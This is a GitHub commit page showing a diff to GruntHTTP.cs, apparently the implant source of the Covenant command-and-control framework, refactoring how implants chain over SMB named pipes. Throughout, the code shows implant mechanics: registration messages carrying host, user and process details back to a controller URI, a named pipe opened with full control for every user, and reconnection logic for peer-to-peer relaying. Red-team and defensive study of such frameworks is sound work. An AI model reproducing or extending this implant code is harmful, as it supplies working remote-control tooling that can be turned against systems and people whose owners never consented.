Skip to content

Commit

Permalink
Merge branch 'dev' of https://github.com/chopicalqui/Covenant into ch…
Browse files Browse the repository at this point in the history
…opicalqui-dev
  • Loading branch information
cobbr committed Aug 29, 2020
2 parents b977988 + c9f2c6e commit 93eddf4
Show file tree
Hide file tree
Showing 2 changed files with 459 additions and 154 deletions.
306 changes: 229 additions & 77 deletions Covenant/Data/Grunt/GruntHTTP/GruntHTTP.cs
100755 → 100644
Original file line number Diff line number Diff line change
Expand Up @@ -63,8 +63,7 @@ public static void Execute(string CovenantURI, string CovenantCertHash, string G
string UserName = Environment.UserName;

string RegisterBody = @"{ ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""hostname"": """ + Hostname + @""", ""operatingSystem"": """ + OperatingSystem + @""" }";
IMessenger baseMessenger = null;
baseMessenger = new HttpMessenger(CovenantURI, CovenantCertHash, UseCertPinning, ValidateCert, ProfileHttpHeaderNames, ProfileHttpHeaderValues, ProfileHttpUrls);
IMessenger baseMessenger = new HttpMessenger(CovenantURI, CovenantCertHash, UseCertPinning, ValidateCert, ProfileHttpHeaderNames, ProfileHttpHeaderValues, ProfileHttpUrls);
baseMessenger.Read();
baseMessenger.Identifier = GUID;
TaskingMessenger messenger = new TaskingMessenger
Expand Down Expand Up @@ -509,37 +508,39 @@ public bool Connect(string Hostname, string PipeName)
this.DownstreamMessengers.Remove(olddownstream);
}

SMBMessenger downstream = new SMBMessenger(Hostname, PipeName);
ClientSMBMessenger downstream = new ClientSMBMessenger(Hostname, PipeName);
downstream.Connect();
Thread readThread = new Thread(() =>
{
while (true)
while (downstream.IsConnected)
{
try
{
ProfileMessage read = downstream.Read();
if (downstream.Identifier == "")
if (read != null && !string.IsNullOrEmpty(read.Message))
{
GruntEncryptedMessage message = this.Profile.ParsePostRequest(read.Message);
if (message.GUID.Length == 20)
if (string.IsNullOrEmpty(downstream.Identifier))
{
downstream.Identifier = message.GUID.Substring(10);
}
else if (message.GUID.Length == 10)
{
downstream.Identifier = message.GUID;
GruntEncryptedMessage message = this.Profile.ParsePostRequest(read.Message);
if (message.GUID.Length == 20)
{
downstream.Identifier = message.GUID.Substring(10);
}
else if (message.GUID.Length == 10)
{
downstream.Identifier = message.GUID;
}
}
this.UpstreamMessenger.Write(read.Message);
}
this.UpstreamMessenger.Write(read.Message);
}
catch (ThreadAbortException)
{
return;
}
catch (Exception e)
{
Console.Error.WriteLine("Thread Exception: " + e.Message + Environment.NewLine + e.StackTrace);
}
}
// Connection became disconnected and therefore we remove the downstream object
this.DownstreamMessengers.Remove(downstream);
});
downstream.ReadThread = readThread;
downstream.ReadThread.Start();
Expand All @@ -560,96 +561,186 @@ public bool Disconnect(string Identifier)
}
}

public class SMBMessenger : IMessenger
public abstract class SMBMessengerBase : IMessenger
{
public string Hostname { get; } = "";
public string Identifier { get; set; } = "";
public string Authenticator { get; set; } = "";

private object _WritePipeLock = new object();
private PipeStream Pipe { get; set; }
private string PipeName { get; }
public string Hostname { get; } = string.Empty;
public string Identifier { get; set; } = string.Empty;
public string Authenticator { get; set; } = string.Empty;

protected object _PipeLock = new object();
private PipeStream _Pipe;
protected object _IsConnectedLock = new object();
private bool _IsConnected;
protected string PipeName { get; } = null;
public Thread ReadThread { get; set; } = null;
// Thread that monitors the status of the named pipe and updates _IsConnected accordingly.
private Thread MonitoringThread { get; set; } = null;
// This flag syncs communication peers in case one of the them dies (see method Read and Write)
private bool IsServer;

public SMBMessengerBase(string Hostname, string Pipename, bool IsServer)
{
this.Hostname = Hostname;
this.PipeName = Pipename;
this.IsServer = IsServer;
}

public SMBMessengerBase(PipeStream Pipe, string Hostname, string Pipename, bool IsServer)
{
this.Pipe = Pipe;
this.Hostname = Hostname;
this.PipeName = Pipename;
this.IsServer = IsServer;

if (Pipe != null && Pipe.IsConnected)
{
this.IsConnected = Pipe.IsConnected;
this.MonitorPipeState();
}
}

public bool IsConnected
{
get
{
lock (this._IsConnectedLock)
{
return this._IsConnected;
}
}
set
{
lock (this._IsConnectedLock)
{
this._IsConnected = value;
}
}
}

protected PipeStream Pipe
{
get
{
lock (this._PipeLock)
{
return this._Pipe;
}
}
set
{
lock (this._PipeLock)
{
this._Pipe = value;
}
}
}

public SMBMessenger(NamedPipeServerStream ServerPipe, string PipeName)
protected abstract void ReCreatePipeState();

protected void MonitorPipeState()
{
this.PipeName = PipeName;
this.Hostname = "localhost:" + PipeName;
this.Pipe = ServerPipe;
new Thread(() =>
this.MonitoringThread = new Thread(() =>
{
while (true)
while (this.IsConnected)
{
try
{
PipeSecurity ps = new PipeSecurity();
ps.AddAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), PipeAccessRights.FullControl, AccessControlType.Allow));
NamedPipeServerStream newServerPipe = new NamedPipeServerStream(this.PipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 1024, 1024, ps);
newServerPipe.WaitForConnection();
lock (this._WritePipeLock)

Thread.Sleep(1000);
// We cannot use this.Pipe.IsConnected because this will result in a deadlock
this.IsConnected = this._Pipe.IsConnected;
if (!this.IsConnected)
{
this.Pipe.Close();
this.Pipe = newServerPipe;

this._Pipe.Close();
this._Pipe = null;
}
}
catch (Exception e)
{
Console.Error.WriteLine("NamedPipeServer Exception: " + e.Message + Environment.NewLine + e.StackTrace);
}
catch (Exception) { }
}
}).Start();
}

public SMBMessenger(string Hostname, string PipeName = "gruntsvc", int Timeout = 5000)
{
this.Hostname = Hostname;
this.PipeName = PipeName;
NamedPipeClientStream ClientPipe = new NamedPipeClientStream(Hostname, this.PipeName, PipeDirection.InOut, PipeOptions.Asynchronous);
ClientPipe.Connect(Timeout);
ClientPipe.ReadMode = PipeTransmissionMode.Byte;
this.Pipe = ClientPipe;
});
this.MonitoringThread.IsBackground = true;
this.MonitoringThread.Start();
}

public ProfileMessage Read()
{
return new ProfileMessage { Type = MessageType.Read, Message = Common.GruntEncoding.GetString(this.ReadBytes()) };
ProfileMessage result = null;
try
{
// If the Grunt acts as SMB server, then after an interruption it shall wait in the read method until the connection
// is re-established.
// This ensures that after the interruption, both communication peers return to their pre-defined state. If this is not
// implemented, then both communication peers might return to the same state (e.g., read), which leads to a deadlock.
if (this.IsServer)
this.ReCreatePipeState();
if (this.IsConnected)
result = new ProfileMessage { Type = MessageType.Read, Message = Common.GruntEncoding.GetString(this.ReadBytes()) };
}
// These are exceptions that could be raised, if the named pipe became (unexpectedly) closed. It is important to catch these
// exceptions here so that the calling method can continue until it calls Read or Write the next time and then, the they'll
// try to restablish the named pipe
catch (IOException) { }
catch (NullReferenceException) { }
catch (ObjectDisposedException) { }
return result;

}

public void Write(string Message)
{
this.WriteBytes(Common.GruntEncoding.GetBytes(Message));
try
{
// If the Grunt acts as SMB client, then after an interruption it shall wait in the write method until the connection
// is re-established.
// This ensures that after the interruption, both communication peers return to their pre-defined state. If this is not
// implemented, then both communication peers might return to the same state (e.g., read), which leads to a deadlock.
if (!this.IsServer)
this.ReCreatePipeState();
if (this.IsConnected)
this.WriteBytes(Common.GruntEncoding.GetBytes(Message));
}
// These are exceptions that could be raised, if the named pipe became (unexpectedly) closed. It is important to catch these
// exceptions here so that the calling method can continue until it calls Read or Write the next time and then, the they'll
// try to restablish the named pipe
catch (IOException) { }
catch (NullReferenceException) { }
catch (ObjectDisposedException) { }
}

public void Close()
{
lock (this._WritePipeLock)
// Close named pipe and terminate MonitoringThread by setting IsConnected to false
lock (this._PipeLock)
{
this.Pipe.Close();
}
if (ReadThread != null)
{
this.ReadThread.Abort();
try
{
if (this._Pipe != null)
{
this._Pipe.Close();
}
}
catch (Exception) { }
this._Pipe = null;
this.IsConnected = false;
}
}

private void WriteBytes(byte[] bytes)
{
lock (this._WritePipeLock)
byte[] compressed = Utilities.Compress(bytes);
byte[] size = new byte[4];
size[0] = (byte)(compressed.Length >> 24);
size[1] = (byte)(compressed.Length >> 16);
size[2] = (byte)(compressed.Length >> 8);
size[3] = (byte)compressed.Length;
this.Pipe.Write(size, 0, size.Length);
var writtenBytes = 0;
while (writtenBytes < compressed.Length)
{
byte[] compressed = Utilities.Compress(bytes);
byte[] size = new byte[4];
size[0] = (byte)(compressed.Length >> 24);
size[1] = (byte)(compressed.Length >> 16);
size[2] = (byte)(compressed.Length >> 8);
size[3] = (byte)compressed.Length;
this.Pipe.Write(size, 0, size.Length);
var writtenBytes = 0;
while (writtenBytes < compressed.Length)
{
int bytesToWrite = Math.Min(compressed.Length - writtenBytes, 1024);
this.Pipe.Write(compressed, writtenBytes, bytesToWrite);
writtenBytes += bytesToWrite;
}
int bytesToWrite = Math.Min(compressed.Length - writtenBytes, 1024);
this.Pipe.Write(compressed, writtenBytes, bytesToWrite);
writtenBytes += bytesToWrite;
}
}

Expand Down Expand Up @@ -679,6 +770,67 @@ private byte[] ReadBytes()
}
}

public class ClientSMBMessenger : SMBMessengerBase
{
private int Timeout { get; set; } = 5000;

public ClientSMBMessenger(string Hostname, string PipeName, int Timeout = 5000) : base(Hostname, PipeName, false)
{
this.Timeout = Timeout;
}

public void Connect()
{
this.ReCreatePipeState();
}

protected override void ReCreatePipeState()
{
// If named pipe became disconnected (!this.IsConnected), then try to re-connect to the SMB server, else continue.
if (!this.IsConnected)
{
NamedPipeClientStream ClientPipe = new NamedPipeClientStream(Hostname, PipeName, PipeDirection.InOut, PipeOptions.Asynchronous);
ClientPipe.Connect(Timeout);
ClientPipe.ReadMode = PipeTransmissionMode.Byte;
this.Pipe = ClientPipe;
this.IsConnected = true;
// Start the pipe status monitoring thread
this.MonitorPipeState();
}
}
}

public class ServerSMBMessenger : SMBMessengerBase
{
private PipeSecurity Security = new PipeSecurity();
public TaskingMessenger Messenger { get; set; } = null;
public ServerSMBMessenger(NamedPipeServerStream ServerPipe, string Pipename) : base(ServerPipe, string.Empty, Pipename, true)
{
Security.AddAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), PipeAccessRights.FullControl, AccessControlType.Allow));
}

public void Start()
{
this.ReCreatePipeState();
}

protected override void ReCreatePipeState()
{
// If named pipe became disconnected (!this.IsConnected), then wait for a new incoming connection, else continue.
if (!this.IsConnected)
{
NamedPipeServerStream newServerPipe = new NamedPipeServerStream(this.PipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 1024, 1024, Security);
newServerPipe.WaitForConnection();
this.Pipe = newServerPipe;
this.IsConnected = true;
this.MonitorPipeState();
// Tell the parent Grunt the GUID so that it knows to which child grunt which messages shall be forwarded. Without this message, any further communication breaks.
this.Messenger.QueueTaskingMessage(string.Empty);
this.Messenger.WriteTaskingMessage();
}
}
}

public class HttpMessenger : IMessenger
{
public string Hostname { get; } = "";
Expand Down Expand Up @@ -1165,4 +1317,4 @@ public static string JavaScriptStringEncode(string value)

// {{REPLACE_PROFILE_MESSAGE_TRANSFORM}}
}
}
}
Loading

0 comments on commit 93eddf4

Please sign in to comment.